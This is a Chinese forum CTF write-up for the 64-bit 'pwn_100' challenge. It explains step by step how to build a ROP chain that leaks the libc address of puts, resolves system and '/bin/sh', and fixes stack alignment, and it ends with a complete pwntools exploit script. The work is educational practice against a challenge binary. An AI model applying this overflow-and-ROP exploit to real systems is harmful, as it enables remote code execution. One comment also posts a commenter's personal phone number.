pwn 64位构造libc获取sh踩坑(例题pwn_100)
本帖最后由 HNHuangJingYU 于 2021-11-15 21:26 编辑看了网上的wp好像也没完全说明payload的具体来源,为什么要这样写,害,我又是个好奇虫,每个payload都想搞清楚为什么,所以希望能帮到现在找不到资料的pwner们。。
这个题目在攻防世界里面,没有system,通过libc构造,分析题目如下:
这里传入了3个值,查看汇编代码可知实际函数只使用了参数一、参数二,那么这里a2就是200,里面的for循环也就是循环200次每次从控制台接收输入,也就题目会这样子写了,就是把读写进缓存区分成了200次,当然你也可以每次只输入1个字符那么输入200次后就是刚刚将你输入的内容全部读入,如果你第一次输入199个那么下一处就只用输入1个就可以满足条件了,那么payload如下:
plt=e.plt["puts"]
got=e.got["puts"]
prdi = 0x0000000000400763
start_addr=0x400550#程序开始地址start函数处
exit_addr = 0x4006FF #程序结束地址 main函数return处
payload = b'A'*0x40 + b'B'*8 +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #前部分payload刚好104个字节
payload += b'C'*96#加上96刚好可以满足200跳出循环,,就这里我看很多wp都是直接加上200
sl(payload)#一次全部给他发送满200个数据,然后for就会退出循环
就加上200那里我有点不明白,如果加了200那不就会占据多余的栈空间吗,而且我试了网上很多的wp几乎没有跑出来的(我用的Ubuntu18)可能也是18栈对齐的一些原因吧,没办法我只好自己硬嗑原理,所以为了构造完美rop链就通过计算在后面加上96个字节使它刚好跳出循环。
然后在控制台上接收我们打印的libc真实地址
ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak)#这里一定要去掉\n除了特定符号以\x0a或者\x00结尾(换行、字符串、动态基址)正常got函数地址都是没有的,所以这里一般没有以这两个字符结尾
接下来就是libc基址了
libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错
再次构造ROP获取shell
#payload= b'A'*0x40 + b'B'*8+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96 #这里就无所谓了设置200也行,收尾阶段不把程序搞奔溃就没事
可以看到上面我注释了一段payload,我叫它为‘p原’,在我获取了libc的地址后我高高兴兴的写出这个标准的64位ROP链,运行程序就发送奔溃了,然后我第一反应是栈对齐问题,打开gdb调试准备看看我构造的ROP链是否真的被完好执行
可以看到我构造的ROP链理想情况下是跳到pop rdi处执行但是这里就ret到了一个8个字节长度的地址,一看就不对,程序肯定报找不到地址的错误
然后我发现了上面rsp,也就是我填充的rbp的值,按照道理来说是8个B(这也是我区分缓冲区(A)和rbp(B)的原因,我看别人wp都是直接将填充rbp 的数据都用缓冲区数据一起代替,这不这题就踩坑了,估计找半天原因哈哈哈哈),找到了原因就好办了,因为我rbp给了8个值前面的缓存区值给多了一个,那么再改一次payload看看效果(这里是用原payload进行实验,为了给大家看看错误知道原理)
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload
果然没错一下子就正常了,但是程序依旧报错,嗯。既然程序执行到了do_system函数还是报错,那么原因只有一个那就是栈没对齐,果断的去看看栈空间
哈哈哈,是吧,又验证了我的猜想一波,那么最后再改一下payload,因为是自己构造的system所以有点不一样,之前都是有后门函数给他地址+1就ok了,所以我在程序在跳转到system函数前我让它先进入到ret指令处再跳到system,完全不影响程序流程,单纯是为了对齐栈空间
那么payload如下:
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
为了验证猜想,那就再看看我构造的完美ROP链吧完整代码如下:
from pwn import *
from LibcSearcher import *
context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
#context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['tmux' , 'splitw', '-h'])
local = 1
binary_name = "pwn-100"
ip = "111.200.241.244"
port = 60408
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
# libc = e.libc
else:
p = remote(ip, port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
plt=e.plt["puts"]
got=e.got["puts"]
#func=e.symbols["vulnerable_function"]
#libc=ELF("./libc_32.so.6")
prdi = 0x0000000000400763
start_addr=0x400550#程序开始地址
exit_addr = 0x4006FF #程序结束地址
z('b *0x4006B1')
#payload = b'C'*96
payload = b'A'*0x40 + b'B'*8 +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #104
payload += b'C'*96#刚好可以满足200跳出循环
sl(payload)
ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak) #
libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错
#payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr)
payload= b'A'*0x40 + b'B'*7+p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96
sl(payload)
p.interactive()
最后就可以进入大家想看到的交互模式了 HNHuangJingYU 发表于 2022-3-30 17:59
会C语言和一点点汇编就行,我觉得pwn是ctf最简单的。。。
老师可否加个微信,真心想向您请教学习,手机号和微信同号18905604369 本帖最后由 HNHuangJingYU 于 2022-4-2 01:36 编辑
jffwoo 发表于 2022-3-29 22:27
特别想学ctf里面的pwn,但是感觉太难了,不知道从何搞起
CTF主要是兴趣和思维,懂c和汇编就ok 谢谢分享 感谢分析,学习中。。 很不错,感谢分享 感谢大佬分享 爱你{:1_899:} 多谢大佬分享{:301_993:} 学习了不错 感谢分享, 新人学习学习 很详细的payload解析 谢谢大佬分享